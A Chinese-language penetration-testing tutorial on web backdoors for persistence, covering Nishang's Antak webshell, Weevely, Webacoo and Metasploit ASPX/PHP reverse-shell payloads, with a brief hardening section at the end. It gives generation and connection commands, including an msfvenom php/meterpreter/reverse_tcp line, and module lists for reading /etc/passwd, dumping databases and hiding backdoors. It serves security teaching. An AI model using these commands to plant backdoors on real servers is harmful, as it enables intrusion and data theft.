用途限制聲明,本文僅用于網絡安全技術研究、教育與知識分享。文中涉及的滲透測試方法與工具,嚴禁用于未經授權的網絡攻擊、數據竊取或任何違法活動。任何因不當使用本文內容導致的法律后果,作者及發布平臺不承擔任何責任。滲透測試涉及復雜技術操作,可能對目標系統造成數據損壞、服務中斷等風險。讀者需充分評估技術能力與潛在后果,在合法合規前提下謹慎實踐。
在這里,我們主要講述權限維持第二種講述,web后門以及防范。
Web后門
定義:?指上傳到Web服務器可訪問目錄中的腳本文件(如.php
,?.aspx
,?.jsp
,?.asp
),允許攻擊者通過HTTP/HTTPS請求在服務器上遠程執行操作系統命令。接下來就是講述幾個常見的Web后門,
1)Nishang下的Webshell
簡介:Nishang 是一個基于 PowerShell 的滲透測試工具包,其中包含多種 Webshell 變體。這些 Webshell 利用 PowerShell 的強大功能,可在 Windows 系統上執行命令、上傳 / 下載文件。
特點:
- 基于 PowerShell,支持高級系統交互。
- 可通過 HTTP/S 通信,隱蔽性較強。
- 支持反向 Shell 和綁定 Shell 模式。
項目下載地址:https://github.com/samratashok/nishang
在Nishang中也存在ASPX的“大馬”,該模塊在、nishang\Antak-Webshell目錄下。使用該模塊可以進行編碼、執行腳本、上傳/下載文件等
我們把他放在目標機的web應用下,瀏覽器訪問即可,如圖所示
2)weevely后門
簡介:Weevely 是一款針對 PHP 環境的開源 webshell 工具,主要用于滲透測試中生成、管理和控制 PHP 類型的后門,因其隱蔽性強、功能豐富且操作便捷,被廣泛用于 Web 滲透場景。
核心特點
-
隱蔽性高
Weevely 生成的 webshell 采用Base64 編碼和字符串混淆技術,將核心邏輯隱藏在看似正常的 PHP 代碼中(例如偽裝成普通函數調用),傳統基于特征碼的查殺工具(如簡單關鍵詞匹配)難以識別。 -
功能模塊化
集成了豐富的滲透模塊,支持文件操作、系統命令執行、數據庫交互、端口轉發、持久化控制等,滿足從初始入侵到深度控制的全流程需求。 -
交互便捷
提供命令行客戶端,生成 webshell 后可通過客戶端直接連接目標,以 “交互式 shell” 的形式操作,類似 SSH 會話,降低操作復雜度。
這個工具kali自帶
生成 webshell
用戶通過 Weevely 的命令行工具,指定一個密碼(用于后續連接驗證)和輸出文件名,生成一個 PHP 格式的 webshell 文件。例如:
weevely generate 123456 /tmp/backdoor.php # 生成密碼為123456的webshell
生成的backdoor.php
包含加密的核心邏輯,僅當攻擊者使用正確密碼連接時,才能激活并執行命令。
上傳文件
上傳目標服務器,
然后再連接,訪問
weevely http://ip/bachdoor.php 密碼
??成功連接,接下來就是通過一系列的命令進行操作了
這里我詳細介紹一下weevely的模塊功能,操作不再展示
審計類模塊(找漏洞 / 敏感信息)
模塊名 | 功能說明 |
---|---|
:audit_phpconf | 檢查 PHP 配置(如allow_url_fopen 、disable_functions ),找安全隱患 |
:audit_suidsgid | 查找帶?SUID/SGID 權限?的文件(這類文件可能被用來提權,如/bin/su ) |
:audit_filesystem | 審計文件系統權限(如敏感文件/etc/shadow 是否被 Web 用戶可讀) |
:audit_etcpasswd | 讀取/etc/passwd (收集系統用戶信息,輔助后續攻擊) |
Shell 執行模塊(遠程命令 / 代碼)
模塊名 | 功能說明 |
---|---|
:shell_php | 直接執行?PHP 代碼(如?:shell_php "echo phpinfo();" ) |
:shell_sh | 執行系統 Shell 命令(和shell 命令類似,模塊化封裝) |
:shell_su | 嘗試用?su ?命令提權(需知道目標用戶密碼,如嘗試su root ) |
系統信息收集
模塊名 | 功能說明 |
---|---|
:system_extensions | 收集 PHP 擴展(如是否開啟mysqli 、exec 等危險模塊)和 Web 服務器信息 |
:system_info | 抓取系統核心信息(內核版本、OS 類型、Web 服務版本、PHP 版本等) |
后門模塊(持久化 / 反向連接)
模塊名 | 功能說明 |
---|---|
:backdoor_reversetcp | 啟動?反向 TCP Shell(目標主動連攻擊者 IP + 端口,繞過防火墻出站限制) |
:backdoor_tcp | 在目標機器?綁定 TCP 端口(攻擊者主動連該端口獲取 Shell,需目標端口可訪問) |
文件操作模塊(上傳 / 下載 / 編輯)
模塊名 | 功能說明 |
---|---|
:file_upload | 上傳本地文件到目標服務器 |
:file_upload2web | 自動上傳文件到?Web 可訪問目錄(如/var/www/html ,方便直接訪問) |
:file_read | 讀取遠程文件內容(如/etc/passwd 、數據庫配置文件) |
:file_download | 下載遠程文件到本地(Weevely 客戶端所在機器) |
:file_rm | 刪除遠程文件 |
:file_edit | 本地編輯器修改遠程文件(保存后自動上傳,方便改配置) |
:file_gzip/:file_tar | 壓縮 / 解壓文件(批量下載時縮小體積,或隱藏惡意文件) |
數據庫模塊(脫庫 / 提權)
模塊名 | 功能說明 |
---|---|
:bruteforce_sql | 暴力破解 SQL 數據庫(嘗試常用賬號密碼,支持 MySQL、PostgreSQL 等) |
:sql_dump | 導出數據庫(類似mysqldump ,批量下載表數據) |
:sql_console | 進入 SQL 交互控制臺(直接執行查詢,如SHOW DATABASES; ) |
網絡模塊(跳板 / 掃描)
模塊名 | 功能說明 |
---|---|
:net_php_proxy | 在目標安裝?PHP 代理(將目標當跳板,轉發攻擊者的 HTTP 請求) |
:net_curl | 模擬curl 發送 HTTP 請求(測試目標網絡訪問能力,或訪問內網服務) |
:net_scan | TCP 端口掃描(探測目標或內網主機的開放端口,找可利用服務) |
3)webacoo后門
簡介:Webacoo(全稱?Web Backdoor Cookie)是一款?隱蔽型 Web 后門工具,專為滲透測試的后滲透階段設計,核心特點是利用 HTTP Cookie 傳輸指令和數據,躲避傳統安全設備檢測。
- 作用:在已攻陷的 Web 服務器中植入后門,實現遠程命令執行、文件操作、權限維持。
- 隱蔽性原理:
命令和結果通過?HTTP Cookie?傳輸,而非普通 HTTP 請求體。關鍵 Cookie 參數:cm
:Base64 編碼的 Shell 命令(如cm=YmFzZTY0X2VuY29kZQ==
對應base64_encode
)。cn
:存儲命令結果的 Cookie 名稱(如服務器將結果存到result
?Cookie)。cp
:結果的分隔符(避免與正常 Cookie 混淆)。
Webacoo 有?兩種核心模式,通過命令行參數切換:
1. 生成模式(-g
):制作 PHP 后門
webacoo -g -o /path/backdoor.php
- 作用:生成一個 PHP 后門文件(如
backdoor.php
),上傳到目標服務器的Web 可訪問目錄(如/var/www/html
)。
2. 終端模式(-t
):連接后門
webacoo -t -u http://目標IP/backdoor.php
- 作用:連接已上傳的后門,進入交互終端,執行系統命令(如
ls
、whoami
)。
此工具kali自帶,無需安裝
生成后門
?放在目標服務器,瀏覽器訪問一下
進行連接
?成功連接,連接之后是一個仿真終端,能夠通過執行命令獲得信息。
????
也能夠通過使用命令load查找擴展模塊
這里解釋一下模塊的作用,操作不展示
數據庫模塊(MySQL/PostgreSQL)
1. MySQL 命令行模塊(mysql-cli)
mysql-cli <IP(:端口)> <用戶名> <密碼>
示例:連接本地 MySQL,用戶名為root
,密碼為123456
webacoo$ mysql-cli 127.0.0.1 root 123456
連接后:可直接執行 SQL 命令(無需退出 Webacoo)
> SHOW DATABASES;
> USE wordpress;
> SELECT * FROM wp_users;
2. PostgreSQL 命令行模塊(psql-cli)
psql-cli <IP(:端口)> <數據庫名> <用戶名> <密碼>
示例:連接本地 PostgreSQL 的testdb
數據庫
webacoo$ psql-cli 127.0.0.1:5432 testdb postgres 123456
連接后:執行 SQL 命令
> \dt # 查看表
> SELECT * FROM users;
文件操作模塊(上傳 / 下載)
1. 上傳文件(upload)
upload <本地文件路徑> <遠程目標目錄>
示例:上傳本地的shell.php
到目標服務器的/var/www/html
目錄
webacoo$ upload /home/user/shell.php /var/www/html/
2. 下載文件(download)
download <遠程文件路徑>
示例:下載目標服務器的/etc/passwd
文件到本地
webacoo$ download /etc/passwd
文件會保存到:Webacoo 工具所在目錄(默認不指定本地路徑)
隱蔽性增強模塊(stealth)
功能:通過修改 PHP 后門代碼,進一步隱藏后門特征
stealth <網站根目錄>
示例:將后門偽裝成網站正常文件(假設網站根目錄為/var/www/html
)
webacoo$ stealth /var/www/html
?與weevely相比
特性 | Webacoo | Weevely |
---|---|---|
通信方式 | HTTP Cookie | HTTP Headers(更隱蔽) |
權限保護 | 無密碼 | 支持密碼驗證 |
功能豐富度 | 基礎命令 / 文件操作 | 模塊化(審計、提權、隧道) |
適用場景 | 臨時控制、快速滲透 | 深度后滲透、長期維持 |
4)ASPX meterpreter后門
這個后門是msfconsole中名為shell_reverse_tcp的payload,shell_reverse_tcp
是最基礎且常用的反向 TCP Shell?Payload,用于在目標系統上建立一個反向連接,使攻擊者能夠獲得遠程命令執行權限,利用這個模塊可以創建具有meterpreter的各種版本shellcode。
首先先使用下列代碼并且調用該模塊,并且設置相關參數
use windows/shell_reverse_tcp
info
set lhost ip
set lport 55555
save
?然后輸入generate -h查看命令
生成webshell?
generate -f aspx lhost=ip地址
將生成內容保存為aspx.aspx文件,然后上傳到目標服務器web目錄下,在瀏覽器進行訪問,然后使用監聽連接即可,這里不再展示。
進行訪問?
?進行連接
5)PHP meterpreter后門
簡介:PHP Meterpreter 是?Metasploit 框架?中針對?PHP 環境?設計的 payload,可生成具備?Meterpreter 交互功能?的 Webshell,支持系統命令執行、文件操作、權限提升等后滲透操作,是 Web 滲透中隱蔽且強大的工具。
優勢 | 細節說明 | 局限 |
---|---|---|
功能集成度高 | 繼承 Meterpreter 的交互性,支持 Metasploit 后續模塊(如提權、內網穿透) | 依賴 PHP 環境,需目標開啟執行權限 |
隱蔽性較好 | 代碼默認經過混淆,通信可加密(如reverse_https ?payload) | 易被 WAF 檢測特征(需額外混淆) |
跨平臺兼容 | 支持 Linux/Windows 的 PHP 服務器 | 需目標disable_functions 未禁用系統命令函數(如exec ) |
直接通過msfvenom制作PHP Meterpreter
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f raw > shell.php
然后跟上面ASPX差不多,將生成的文件放在目標服務器的web目錄下,然后開啟監聽,訪問,反彈連接即可,操作這里不再展示。?
web后門防范
- 代碼安全:禁用 eval、system 等危險函數;嚴格驗證用戶輸入(過濾特殊字符、限制長度);上傳文件需校驗內容(而非僅擴展名)。
- 組件管控:使用官方 / 可信源的框架 / 插件;定期更新修復漏洞;刪除無用組件。
- 服務器加固:web 進程權限設為最低(非 root);限制文件目錄權限(如上傳目錄禁止執行腳本);關閉不必要的服務 / 模塊(如 cgi、SSI)。
- 監控審計:日志記錄訪問 / 操作行為(重點查異常文件訪問、高頻 POST 請求);定期校驗文件哈希(檢測篡改)。
- 訪問控制:管理員賬戶用強密碼 + 定期更換;限制管理后臺訪問 IP;啟用二次驗證。